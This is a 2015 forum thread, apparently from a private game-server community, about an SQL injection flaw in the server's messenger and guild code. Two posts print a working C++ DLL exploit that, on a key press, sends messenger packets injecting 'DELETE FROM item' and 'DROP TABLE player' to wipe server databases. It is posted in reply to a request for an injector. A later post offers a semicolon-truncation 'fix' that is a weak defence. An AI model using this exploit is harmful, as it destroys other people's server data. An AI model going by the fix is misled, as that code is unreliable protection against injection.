[FIX][C++] SQL Injection in Messenger and Guild

12/15/2015 16:19 Marius Sorin#16
I readed the whole code but not tested it. So, thats why i ask. Cuz sometimes is necesary to test a fix.
12/15/2015 16:36 IkoLollo#17
Quote:
Originally Posted by Seחsi View Post
Make an update and use the source. There's no reason to keep developing on this old revision.
I can pay for this .dif
12/15/2015 17:02 miguelmig#18
There's still an injection in /messenger_auth I believe. The parameters are not checked.
12/15/2015 17:14 miguelmig#19
CRC32 hashes can still be faked
12/15/2015 22:10 Salep#20
Wurde das eigentlich mal auf den Offiziellen getestet? Würde mich mal interessieren.
12/16/2015 10:45 #Saiirex#21
Quote:
Originally Posted by Salep View Post
Wurde das eigentlich mal auf den Offiziellen getestet? Würde mich mal interessieren.
Jetzt ist es bestimmt fixed :D
12/16/2015 10:57 Tomsan#22
Quote:
Originally Posted by #Saiirex View Post
Jetzt ist es bestimmt fixxed :D
Genau hack dich in ein GF Server ein, dann biste paar Jahre im Knast :D
12/16/2015 11:09 #Saiirex#23
Quote:
Originally Posted by Tomsan View Post
Genau hack dich in ein GF Server ein, dann biste paar Jahre im Knast :D
Die Leute, die den Source geklaut haben, sind auch frei :D.

Waren zwar nicht die GF Server, but who cares?
12/16/2015 19:47 TheSLZ#24
Thanks

MartPwnS's way is enough?

And in original source there is no
if (companion.empty())
return;

just:
if (companion.size() == 0)
return;

should i change it to the first one?
12/16/2015 20:48 [-Lee-]#25
Quote:
Originally Posted by #Saiirex View Post
Die Leute, die den Source geklaut haben, sind auch frei :D.

Waren zwar nicht die GF Server, but who cares?
der src wurde auch nicht von der GF geklaut.
Wenn du den GF server down machst, liegt eine direkte Geschäftsschädigung vor ganz zu schweigen von Cyberkriminalität .. da versteht der deutsche Staat gar kein Spaß.
12/16/2015 21:12 Aze /..#26
Quote:
Originally Posted by [-Lee-] View Post
der src wurde auch nicht von der GF geklaut.
Wenn du den GF server down machst, liegt eine direkte Geschäftsschädigung vor ganz zu schweigen von Cyberkriminalität .. da versteht der deutsche Staat gar kein Spaß.
Jap, ist leider so. Um es jetzt mal ein wenig inhuman auszudrücken: Vergewaltige lieber jemanden, dafür sitzt man nicht so lange.

B2T: Auch wenn ich der englischen Sprache mächtig bin, verstehe ich trotzdem nichts, was nun genau die Ursache für diese Lücke war und was genau nun der Fix macht. Bin leider nicht bewandert in Sachen C++. Könnte es mir einer mal kurz schildern?
12/16/2015 21:15 Kyramu#27
Du kannst durch diese Lücke auf die Player zugreifen weil dort die Gilden gesaved werden.
Dadurch kannst du dir zugriff auf die Player.sql verschaffen, jedoch nur auf die Player.

Bei mir wurde die komplette Player mit dieser Sicherheitslücke gelöscht.
12/17/2015 23:04 matalaj#28
Dowload SQL injector ? Ii test server...
12/18/2015 01:05 VegaS ♆#29
Quote:
Originally Posted by matalaj View Post
Dowload SQL injector ? Ii test server...
You can make a mix / loading DLL type which looks like this :D :

Code:
void Myfunction()
{
 PyRun_SimpleString("import net");
 PyRun_SimpleString("net.SendMessengerRemovePacket(\"';DELETE FROM item; --\", \"ss\")");
 PyRun_SimpleString("net.SendMessengerRemovePacket(\"';DROP TABLE player; --\", \"ss\")");
 MessageBoxA(NULL, "[SQL-Injection] Queries sent correctly!", "*** Exploit (Skype: sacadatt.amazon) ***", NULL);
}

Then to the fun begins:

Code:
void start_fuck_off()
{
 C:
 if (GetAsyncKeyState(VK_F5)) Myfunction();
 goto C;
}

Code:
BOOL APIENTRY DLLSQL_INJECT(HMODUL mod, DWORD  reason, LPVOID re)
{
 FILE *f = fopen("Exploit.Readme.txt", "w");
 fputs("Damn, you just fucked a server.\n\
 Do not use it to harm a server!\n\nUse only to test for you if you fixed it!\n", f);
 fclose(f);
 if (reason == DLL_PROCESS_ATTACH) CreateThread(NULL, NULL, LPTHREAD_START_ROUTINE(start_fuck_off), NULL, NULL, NULL);
 return TRUE;
}
------------------------------------------------------------------------------------------------------------------------------------------------
------------------------------------------------------------------------------------------------------------------------------------------------
12/18/2015 03:01 deco016#30
Quote:
Originally Posted by [SGA]Vegas View Post
You can make a mix / loading DLL type which looks like this :D :

Code:
void Myfunction_VegaS()
{
 PyRun_SimpleString("import net");
 PyRun_SimpleString("net.SendMessengerRemovePacket(\"';DELETE FROM item; --\", \"ss\")");
 PyRun_SimpleString("net.SendMessengerRemovePacket(\"';DROP TABLE player; --\", \"ss\")");
 MessageBoxA(NULL, "[SQL-Injection] Queries sent correctly!", "*** Killer Exploit (Skype: sacadatt.amazon) ***", NULL);
}

Then to the fun begins:

Code:
void start_fuck_off()
{
 C:
 if (GetAsyncKeyState(VK_F5)) Myfunction_VegaS();
 goto C;
}

Code:
BOOL APIENTRY DLLSQL_INJECT(HMODUL mod, DWORD  reason, LPVOID re)
{
 FILE *f = fopen("Exploit.Readme.txt", "w");
 fputs("Damn, you just fucked a server.\n\
 Do not use it to harm a server!\n\nUse only to test for you if you fixed it!\n", f);
 fclose(f);
 if (reason == DLL_PROCESS_ATTACH) CreateThread(NULL, NULL, LPTHREAD_START_ROUTINE(start_fuck_off), NULL, NULL, NULL);
 return TRUE;
}

I would prefer a solution like this:

Code:
SQLMsg * DBManager::DirectQuery(const char * c_pszFormat, ...)
{
    char szQuery[4096];
    va_list args;
    va_start(args, c_pszFormat);
    vsnprintf(szQuery, sizeof(szQuery), c_pszFormat, args);
    va_end(args);
    std::string sQuery(szQuery);
    return m_sql_direct.DirectQuery(sQuery.substr(0, sQuery.find_first_of(";") == -1 ? sQuery.length() : sQuery.find_first_of(";")).c_str());
}
and

Code:
void DBManager::Query(const char * c_pszFormat, ...)
{
    char szQuery[4096];
    va_list args;

    va_start(args, c_pszFormat);
    vsnprintf(szQuery, sizeof(szQuery), c_pszFormat, args);
    va_end(args);
    std::string sQuery(szQuery);

    m_sql.AsyncQuery(sQuery.substr(0,sQuery.find_first_of(";")==-1?sQuery.length(): sQuery.find_first_of(";")).c_str());
}
Lol this is my code from [Only registered and activated users can see links. Click Here To Register...] ...